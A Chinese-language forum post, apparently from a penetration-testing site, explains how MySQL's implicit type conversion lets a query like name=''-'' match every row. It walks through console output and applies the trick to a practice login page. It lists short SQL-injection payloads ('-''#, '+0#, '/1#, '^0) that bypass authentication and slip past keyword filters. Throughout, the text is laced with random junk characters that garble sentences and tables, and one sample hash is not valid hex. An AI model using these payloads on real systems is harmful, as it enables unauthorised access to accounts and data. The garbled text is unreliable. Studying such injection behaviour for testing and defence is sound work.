| 我们先来看这样一个场景。 有以下表结构: 8 Y& L* p/ t- e9 x mysql> desc admin; +----------+--------------+------+-----+---------+----------------+! v/ H" b; y7 m | Field | Type | Null | Key | Default | Extra | Y6 C5 V% s3 b* O +----------+--------------+------+-----+---------+----------------+/ \8 u$ I G9 v2 L1 E) d6 D4 l+ t7 B | id | mediumint(9) | NO | PRI | NULL | auto_increment |4 S L/ @/ P9 Q; A% z/ O; ^ | name | char(32) | NO | UNI | NULL | |' E% B: P8 t5 A* P2 h7 M1 Q | password | char(32) | NO | UNI | NULL | |' ]0 h* U( A2 t& z9 v1 X+ @! R2 l +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。 $ {- i2 D j) G5 T6 m' t+ t" d$ Y +----+--------+----------------------------------+; A) b0 Q$ A8 s } | id | name | password |, i8 {7 n4 U. S" Q3 q% E, p B +----+--------+----------------------------------+2 P2 H0 C% A. B1 q0 ` | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |0 |2 f& V- [, D6 f | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 _& e3 F L) E/ w. D% \ | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+3 K* h8 A7 F" W+ N9 P 3 rows in set (0.00 sec) 执行select * from admin where name=”;,没有匹配到任何记录。 mysql> select * from admin where name = '';0 x" g4 o- x1 Q Empty set (0.00 sec)" j }) k4 `: O; J$ w 那么我们来执行select * from admin where name = ”-”;0 Y4 j3 Q1 ^" t $ I l5 Z7 u* N# R0 E9 o {0 i +----+--------+----------------------------------+6 {$ j1 [7 _4 q) \; Q2 C | id | name | password |) k! m' b/ w! [! O+ m$ Q8 N8 h +----+--------+----------------------------------+& z1 D% c+ g6 n- Q& m. M% ~ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |8 K+ l: k0 q9 @% l8 f1 R* M | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" P: P% F3 h8 C7 Y: }- w | 4 | n00b | ff80e8508d39047460921792273533a4 |0 G& A7 O/ @0 B Y' {9 [$ I! v3 W +----+--------+----------------------------------+' x. ~2 F/ D/ k3 r, r1 T* x% Y 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: mysql> show warnings;3 q' W) X/ t- c +---------+------+------------------------------------------ | Level | Code | Message +---------+------+------------------------------------------ }" l' b; n( X7 `& q5 H$ B6 F! R+ X | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b' p" q& H" S/ }' D- w2 U2 g4 z! O" K +---------+------+------------------------------------------ 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 - H: t1 F) b0 g& t- J1 {9 S 5 `6 ]7 C" q' k9 e; O% j& z mysql> select ''-'';' O. o3 ^1 o* r' q, i +-------++ C8 N; `, y3 T5 c5 r, q# B; f | ''-'' | +-------+ | 0 | +-------+8 ?1 x/ ]' u' L6 Y6 k* j S 1 row in set (0.00 sec). ~ r: b" H# [, l. w 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: mysql> select CAST((select name from admin limit 1,1) as DECIMAL);( A2 Z- w! e% ]) i- @7 f8 p- ^: e +-----------------------------------------------------+" J- L3 P3 L, y$ s# A | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+) i- I9 M( M3 \1 C8 p& w4 ]2 j | 0 | +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec)3 I' c+ c! K: X 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 7 H- @1 M1 C# c+ C5 Q8 Q. h SQL注入场景: http://www.sqlzoo.net/hack/ * x2 d4 `5 t& m; B* S* L ' U( D$ A1 r& Y/ m* A! I+ y 5 K% V8 ^7 s3 D ; j& F) S) Z& o2 E# M5 Q. p 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; }& @* R$ }6 @; q2 e0 c9 O, \ 8 L! a0 u) u& M# I' {$ W 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 % w; W0 f8 T! N0 x 7 h& n9 |) s# F: j 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ! U! V1 L7 ^. i; d 9 M2 f! P/ |; k" i' u+ f " t) p- x. _# n: }* V$ r 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 ?, I( u$ w P8 v* f# {- e & }7 v. f, i' T* d2 `# R2 Q; q mysql> select ''/1; +------+. O8 [! N% w1 O6 e% E8 d | ''/1 |, Q& ~- Z! r& I3 o$ c1 C +------+3 ~3 S- r7 [9 I& O | 0 | +------+ 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 & M2 y. m+ f1 D3 R8 ` " S, o+ T4 G1 B 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% z0 ]% W' L; H# } |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |